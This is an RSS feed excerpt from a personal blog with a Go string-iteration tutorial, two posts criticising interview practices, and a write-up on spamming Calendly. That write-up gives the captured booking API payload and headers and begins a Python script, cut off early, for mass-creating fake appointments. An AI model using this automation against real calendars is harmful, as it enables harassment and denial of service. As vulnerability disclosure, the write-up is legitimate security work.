      <title>Iterate Through Strings in Go with a for-range Loop</title>
      <link>https://nelson.cloud/iterate-through-strings-in-go-with-a-for-range-loop/?ref=rss</link>
      <pubDate>Tue, 27 Aug 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/iterate-through-strings-in-go-with-a-for-range-loop/?ref=rss</guid>
      <description>You can use for-range loops to iterate through strings in Go without splitting because Go handles strings as byte slices.</description><content:encoded><![CDATA[<p>Today I learned you can use <code>for...range</code> loops in Go to iterate over a string. There is no need to split the string first like in other programming languages.</p>
<p>Here&rsquo;s an example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">for</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="s">&#34;testing&#34;</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Printf</span><span class="p">(</span><span class="s">&#34;index: %d, char: %c\n&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This outputs:</p>
<pre tabindex="0"><code>index: 0, char: t
index: 1, char: e
index: 2, char: s
index: 3, char: t
index: 4, char: i
index: 5, char: n
index: 6, char: g
</code></pre><p>Without any formatting from <code>fmt.Printf</code> each character in the string is printed out in its Unicode form:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">for</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="s">&#34;testing&#34;</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nx">v</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This outputs:</p>
<pre tabindex="0"><code>116
101
115
116
105
110
103
</code></pre><p>This is cleaner than looping through a string using a <code>for</code> loop without <code>range</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">str</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="s">&#34;testing&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">for</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="p">&lt;</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">str</span><span class="p">);</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Printf</span><span class="p">(</span><span class="s">&#34;index: %d, char: %c\n&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">str</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>As a side note, strings in Go are basically slices of bytes. This is why we can iterate through them using <code>range</code> like we would a typical slice.</p>
<p>From 

<a href="https://go.dev/blog/strings" target="_blank" rel="noopener">https://go.dev/blog/strings</a>:
<blockquote><p><strong>Quote:</strong></p>In Go, a string is in effect a read-only slice of bytes</blockquote>
</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://go.dev/tour/moretypes/16" target="_blank" rel="noopener">https://go.dev/tour/moretypes/16</a></li>
<li>

<a href="https://www.freecodecamp.org/news/iteration-in-golang/" target="_blank" rel="noopener">https://www.freecodecamp.org/news/iteration-in-golang/</a></li>
<li>

<a href="https://go.dev/blog/strings" target="_blank" rel="noopener">https://go.dev/blog/strings</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Let&#39;s Stop Asking &#34;Why Do You Want To Work for Us?&#34; in Interviews</title>
      <link>https://nelson.cloud/lets-stop-asking-why-do-you-want-to-work-for-us-in-interviews/?ref=rss</link>
      <pubDate>Fri, 28 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/lets-stop-asking-why-do-you-want-to-work-for-us-in-interviews/?ref=rss</guid>
      <description>Most people want to work for your company for money, and there&amp;rsquo;s nothing wrong with that.</description><content:encoded><![CDATA[<p><em>&ldquo;Why do you want to work for us?&rdquo;</em></p>
<p>I have run into this question many times as I&rsquo;ve been applying to and interviewing with lots of companies.</p>
<p>99% of the reason people want to work for a company is <strong>because they need money</strong>. That&rsquo;s it. They want to be able to pay off debt. They want to be able to pay their bills. They want to be able to pay rent or their mortgage. They want to be able provide for their family. They want to be able to afford a better life. And so on.</p>
<p>Sure, the tech stack might be exciting. Or the product may be compelling. The work-life balance may be good. But I promise you that the biggest reason is still money.</p>
<p>If you don&rsquo;t believe me, find your most passionate engineers, cut their compensation in half, and see if they stick around. I guarantee you they won&rsquo;t.</p>
<p>Let&rsquo;s stop beating around the bush and be real with each other. Do you really want to be lied to by every candidate?</p>
<p>It&rsquo;s okay to be motivated by money. That&rsquo;s the world we live in. An engineer can do amazing work for your company even if they are only motivated by money. Also, companies are only motivated by making money. What&rsquo;s wrong with the average person being motivated by the same thing?</p>
<p>You may have come across my application to your company at some point. I may have said something about wanting to work with bright people and looking for growth opportunities. While that is still true, you should know that 99% of the reason I applied to your company is to earn money so I can buy food, pay rent, and provide for my family.</p>
<p>Let&rsquo;s stop asking this question in the application and interview process. We all know the real answer.</p>
<hr>
<p>Discussion over at 

<a href="https://news.ycombinator.com/item?id=40842603" target="_blank" rel="noopener">Hacker News</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>I Am So Sick of Leetcode-Style Interviews</title>
      <link>https://nelson.cloud/i-am-so-sick-of-leetcode-style-interviews/?ref=rss</link>
      <pubDate>Mon, 03 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/i-am-so-sick-of-leetcode-style-interviews/?ref=rss</guid>
      <description>Leetcode-style interviews do not reflect real-world software engineering problems.</description><content:encoded><![CDATA[<p>I quit my previous job at 

<a href="https://robinhood.com/" target="_blank" rel="noopener">Robinhood</a> in late November of 2023 mainly for health reasons. I&rsquo;ve been in various interviews since then. Things have fallen off for one reason or another but I just gotta say&hellip;I am getting so tired of 

<a href="https://leetcode.com/problemset/" target="_blank" rel="noopener">Leetcode</a>-style interviews, especially since I know they don&rsquo;t reflect the actual responsibilities of software engineering.</p>
<p>It seems like most (if not all) companies do these kinds of interviews simply because that&rsquo;s what all the big companies do, like Google, Facebook/Meta, Amazon, and so on.</p>
<p>I&rsquo;ve had very bright engineers tell me that I shouldn&rsquo;t memorize things that I can easily Google. But yet, these interviews quiz me on things that I can easily Google but I may not know off the top of my head. It&rsquo;s absurd.</p>
<p>I don&rsquo;t really have a solution to this problem, I just know it&rsquo;s a problem.</p>
<p>And I&rsquo;m sick of it.</p>
<p>To add more context, I have both succeeded and failed at these kinds of interviews. My failure rate is not influencing my opinion. If anything, my previous professional experience influences my opinion.</p>
<p>If you need a Software Engineer with AWS, Kubernetes, and Ruby on Rails experience, and you don&rsquo;t do silly quizzes, feel free to reach out!</p>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li>Discussion over at 

<a href="https://news.ycombinator.com/item?id=40571395" target="_blank" rel="noopener">Hacker News</a></li>
<li>

<a href="https://danielabaron.me/blog/reimagining-technical-interviews/" target="_blank" rel="noopener">Re-imagining Technical Interviews: Valuing Experience Over Exam Skills</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Calendly Denial of Service via Mass-Scheduling</title>
      <link>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</link>
      <pubDate>Thu, 16 May 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</guid>
      <description>Showing how Calendly can be easily spammed because I&amp;rsquo;m bored and unemployed.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I&rsquo;ve been doing interviews lately and I have been sent several 

<a href="https://calendly.com/" target="_blank" rel="noopener">Calendly</a> links.</p>
<p>If you haven&rsquo;t heard of Calendly, it&rsquo;s an online scheduling site. You can send someone your Calendly link, and they can see your availability and schedule an appointment.</p>
<p>I noticed that I don&rsquo;t have to be authenticated any way to be able to schedule an appointment on someone&rsquo;s calendar. Not great from a security perspective. So I decided to create a free Calendly account and see how easily a theoretical bad actor could abuse it.</p>
<p>The plan is to automate the process of scheduling appointments with Python to fill up someone&rsquo;s calendar with fake appointments.</p>
<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. Please do not spam people&rsquo;s calendars.</blockquote>

<h2 id="gathering-request-urls-headers-and-payloads">Gathering Request URLs, Headers, and Payloads</h2>
<p>First, I created a free account at 

<a href="https://calendly.com/signup" target="_blank" rel="noopener">https://calendly.com/signup</a>.</p>
<img src="/calendly-spam/new-account.webp" alt="My new Calendly account" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>The dates and times available are shown in the following screenshot:</p>
<img src="/calendly-spam/dates-available.webp" alt="Dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>I went through the process of manually creating an appointment in order to capture requests, HTTP verbs, and the URLs they were going to.</p>
<p>This was the final step before creating an appointment:</p>
<img src="/calendly-spam/scheduling-appointment.webp" alt="The process of scheduling an appointment on Calendly" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>As I went through the process of scheduling and appointment I was keeping track of all the <code>GET</code> requests and their payloads (I chose not to show those here to get to the good stuff sooner). The final request that actually created an appointment was a <code>POST</code> request to <code>https://calendly.com/api/booking/invitees</code>. This is the payload of that request:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;analytics&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;referrer_page&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;invitee_landed_at&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T00:39:59.886Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;browser&#34;</span><span class="p">:</span><span class="s2">&#34;Firefox 126&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;device&#34;</span><span class="p">:</span><span class="s2">&#34;undefined Mac OS X 10.15&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_filled&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_presented&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;booking_flow&#34;</span><span class="p">:</span><span class="s2">&#34;v3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;seconds_to_convert&#34;</span><span class="p">:</span><span class="mi">86</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;embed&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;guests&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_fields&#34;</span><span class="p">:[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span><span class="mi">171096387</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span><span class="s2">&#34;Please share anything that will help prepare for our meeting.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;format&#34;</span><span class="p">:</span><span class="s2">&#34;text&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;required&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;position&#34;</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;answer_choices&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;include_other&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;value&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payment_token&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;recaptcha_token&#34;</span><span class="p">:</span><span class="s2">&#34;03AFcWeA6-bQo_p48-znbKGUevb...&lt;cut for brevity&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;single_use_slug&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;tracking&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fingerprint&#34;</span><span class="p">:</span><span class="s2">&#34;a13001d0fcfe7e73a87dfd93e5edf7a5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;scheduling_link_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;ckbp-gj5-6gh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Most of the fields aren&rsquo;t necessary. Through trial and error I noticed I really only need a JSON payload structured like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I also made a note of the request headers that I needed for this <code>POST</code> request:</p>
<pre tabindex="0"><code>POST /api/booking/invitees HTTP/2
Host: calendly.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Gecko/20100101 Firefox/126.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://calendly.com/nelsonfigueroa/30min/2024-05-16T10:30:00-07:00?back=1&amp;month=2024-05&amp;date=2024-05-16
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 3324
Origin: https://calendly.com
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers
</code></pre><p>At this point I had the information I needed to try and mass-create appointments.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>I came up with this Python script that makes a few <code>GET</code> requests to figure out what days are available for scheduling and then makes a <code>POST</code> request as previously described:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># we&#39;ll use Faker to generate fake names, emails, etc</span>
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">starting_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/nelsonfigueroa/&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">scheduling_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/api/booking/invitees&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate today&#39;s date for use in range later</span>
